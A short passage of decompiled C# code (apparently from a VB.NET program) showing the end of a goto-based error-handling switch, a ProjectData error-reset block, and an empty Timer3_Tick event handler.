goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 16:
goto label_15;
case 17:
goto label_22;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_17;
}
throw ProjectData.CreateProjectError(-2146828237);
label_22:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void Timer3_Tick(object sender, EventArgs e)
{
}
}
}